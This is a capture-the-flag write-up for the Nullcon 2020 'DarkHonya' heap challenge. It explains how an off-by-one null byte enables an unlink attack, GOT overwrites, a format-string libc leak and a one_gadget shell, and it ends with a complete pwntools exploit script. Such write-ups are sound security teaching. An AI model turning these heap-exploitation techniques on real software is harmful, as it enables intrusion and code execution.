[Pwn] Nullcon 2020 - DarkHonya

Description:
437 Points

nc pwn2.ctf.nullcon.net 5002

challenge

5b2f9b7d0b20ae7a694ae61c9de0c204

libc-2.23.so

8c0d248ea33e6ef17b759fa5d81dda9e

TLDR

  • Use off by one vulnerability to set next chunk prev_on_use bit to zero
  • Use unlink attack to write a global addr to the global pointer list
  • Edit global pointer list with exit_got and atoi_got
  • Use edit to overwrite atoi_got with printf
  • Use format string to leak libc
  • Edit exit_got with onegadget

Basic information

1
2
3
4
5
6
7
8
9
$ file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6ea21ef679ff8d18a6bb9d2dc8914f2689871e20, stripped
$ checksec challenge
[*] '/ctf/work/pwn/darkHonya/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

As you can see, the program is 64-bit, Canary and Pie off, writeable GOT and NX is enabled.

Basic functions

There are 4 functions in the program. After some static analysis, the functions can be analysed as follows:

Name: Insert a name, data is stored in a global variable

1
2
3
4
5
6
7
8
int insertNameBss_4009FD()
{
puts("----- BookStore -----");
puts("finally! a customer, what is your name?");
editString_400830(byte_6020A0);
puts(byte_6020A0);
return printf("Welcome %s\n", byte_6020A0);
}

Buy book: Allocates a chunk of size 0xF8, and records the corresponding chunk pointer in the bss segment (ptr list).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int buyAbook_40087C()
{
int result; // eax
char *v1; // [rsp+0h] [rbp-10h]
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; ptr[i]; ++i );
if ( i > 15 )
return puts("Next time bring a bag with you!");
v1 = (char *)malloc(0xF8uLL);
puts("Name of the book?");
editString_400830(v1);
result = i;
ptr[i] = v1;
return result;
}

Return a book: releases the allocated memory block according to the specified index.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 freeBook_40093A()
{
__int64 result; // rax
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Which book do you want to return?");
v1 = getInt_4007ED();
if ( v1 > 0xF )
puts("boy, you cannot return what you dont have!");
free(ptr[v1]);
result = v1;
ptr[v1] = 0LL;
return result;
}

Edit a book: Read data into the allocated memory according to the specified index and there is a null byte overflow situation here.

1
2
3
4
5
6
7
8
9
10
int __fastcall edit_4008EC(__int64 a1)
{
unsigned int v2; // [rsp+Ch] [rbp-4h]

v2 = getInt_4007ED();
if ( v2 > 0xF )
return puts("Writing in the air now?");
puts("Name of the book?");
return (unsigned __int64)editString_400830((char *)ptr[v2]);
}

The usual print function is not available.

Basic plan

Since the program itself has no print function, in order to get libc, our primary purpose is to construct a leak first. The basic idea is as follows:

  • Use unlink to modify ptr[0] to &ptr[0]-0x18
  • Use editing function to edit(0) and overflow ptr[1] to exit@got and ptr[2] to atoi@got
  • Use edit(2) to modify atoi@got to printf
  • Use format-string to leak a libc addr from the stack
  • Use edit(1) to modify exit@got to one_gadget

Off by one (null byte poisoning)

Now the idea with the null byte overflow is to set the prev_in_use bit of chunk B to zero, this bit is used to determine if the previous chunk is freed, if we free chunk B the free function is going to try to unlink chunk A, because it thinks its freed and present in doubly linked list, what defines the prev and next items in the list are the bk and fd pointers.

To understand well the unlink macro we need to understand its operations, the source code of unlink:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK; // arbitrary write happens here
BK->fd = FD; // arbitrary write happens here
if (!in_smallbin_range (P->size)
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action,
"corrupted double-linked list (not small)",
P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}

The operations of FD->bk = BK and BK->fd = FD is what we want to achieve.

Now taking a simple example, imagine we have 3 chunks.

Starting with FD = P->fd and BK = P->bk:

We execute the FD->bk=BK operation:

And finally the BK->fd=FD operation:

But there is a security check to bypass:

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

We can’t directly use this to modify for example a GOT entry but we can bypass this mechanism in a fake way.

First, we overwrite the FD pointer of nextchunk to fakeFD and the BK pointer of nextchunk to fakeBK, so in order to pass the verification we need:

  • fakeFD->bk == P <=> *(fakeFD+0x18) == P
  • fakeBK->fd == p <=> *(fakeBK+0x10) == P

When the two above restrictions are satisfied, you can enter unlink and perform the following operations:

  • fakeFD->bk = fakeBK <=> *(fakeFD + 0x18) = fakeBK
  • fakeBK->fd = fakeFD <=> *(fakeBK + 0x10) = fakeFD

Since this fakeFD->bk and fakeBK->fd must contain the address of P we need to find a place where the address of P is located and this place is at ptr list.

If we can change one of the pointers stored in the ptr list to a pointer located in the bss segment, we will be able to edit the entire list, after that, we just change the values in that list to write wherever we want.

Creating the exploit

First we create a chunk A and a chunk B, inside of chunk A we create a fake chunk with size of 0xf1 set chunk B prev_size equal to 0xf0.

1
2
3
add('A'*8)
add('B'*8)
edit(0,p64(0)+p64(0xf1)+p64(fakefd)+p64(fakebk)+'B'*0xd0 +p64(0xf0)) # create a fake chunk and overwrite prev_in_use

Before the null byte overflow:

After the null byte overflow:

The prev_size value is to bypass this security check:

1
2
if  ( __builtin_expect  ( chunksize ( P )  ! =  prev_size  ( next_chunk ( P )),  0 ))       
malloc_printerr ( "corrupted size vs. prev_size" );

We can check the first security check of FD->bk != P || BK->fd != P by doing this in gdb:

Lets trigger unlink by freeing chunk B:

1
free(1)

The content of global ptr will look like this:

Now we add got pointers to the list:

1
edit(0, p64(0x0)*3 + p64(0x602188) + p64(elf.got['exit']) + p64(elf.got['atoi']) + p64(0x602188))

Overwriting atoi@got at index 2 with printf:

1
edit(2, p64(elf.plt['printf']))

Now that atoi@got points to printf it no longer converts the input string to integers but we can still use printf to select the menu options because the return value of printf is the number of bytes printed:

1
2
3
4
5
6
7
r.sendline(' ') # 2 bytes sent so the option selected is 2 which is free
r.sendline('%lx') # leak libc with format string
r.recvuntil('Which book do you want to return?\n')
LEAK = int(r.recvline().rstrip(),16)
LIBC = LEAK -0x3c4963
log.info('LEAK 0x%x'%LEAK)
log.info('LIBC_BASE 0x%x'%LIBC)

Finally we edit exit@got with onegadget and we get a shell:

1
2
3
4
r.sendlineafter('5) Checkout!\n',' '*2)
r.sendline('') # send 1 byte to select edit option
r.sendafter('Name of the book?\n', p64(LIBC+0x4526a)) #overwrite exit@got
r.sendline('loool') # trigger exit aka one_gadget

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
host, port = "pwn2.ctf.nullcon.net", "5002"
filename = "./challenge"
elf = ELF(filename)
context.arch = 'amd64'

if not args.REMOTE:
libc = elf.libc
else:
libc = ELF('./libc-2.23.so')

GLOBAL = 0x6020A0
ptr = 0x6021A0
fakefd = ptr - 0x18
fakebk = ptr - 0x10
def getConn():
return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(x)
gdb.attach(r,gdbscript=script)

def add(name):
r.sendlineafter('5) Checkout!\n', '1')
r.sendafter('Name of the book?\n', name)

def free(index):
r.sendlineafter('5) Checkout!\n', '2')
r.sendlineafter('Which book do you want to return?\n', str(index))

def edit(index, name):
r.sendlineafter('5) Checkout!\n', '3')
r.sendline(str(index))
r.sendafter('Name of the book?\n', name)


context.terminal = ['tmux', 'new-window']
r = getConn()
#r.interactive()

r.sendafter('finally! a customer, what is your name?\n', 'A'*0xf8)
add('A'*8)
add('B'*8)
#add('C'*8)
if not args.REMOTE and args.GDB:
debug([0x400877]) # 0x400977,0x4008EC

edit(0,p64(0)+p64(0xf1)+p64(fakefd)+p64(fakebk)+'B'*0xd0 +p64(0xf0))
free(1)
#add('B'*8)
edit(0, p64(0x0)*3 + p64(0x602188) + p64(elf.got['exit']) + p64(elf.got['atoi']) + p64(0x602188))

edit(2, p64(elf.plt['printf']))
r.sendline(' ')
r.sendline('%lx')
r.recvuntil('Which book do you want to return?\n')
LEAK = int(r.recvline().rstrip(),16)
LIBC = LEAK -0x3c4963
log.info('LEAK 0x%x'%LEAK)
log.info('LIBC_BASE 0x%x'%LIBC)

r.sendlineafter('5) Checkout!\n',' '*2)
r.sendline('')
r.sendafter('Name of the book?\n', p64(LIBC+0x4526a))
r.sendline('loool')
#r.sendlineafter('5) Checkout!\n', '3')
#free(1)
#add('C'*8)
r.interactive()
r.close()

References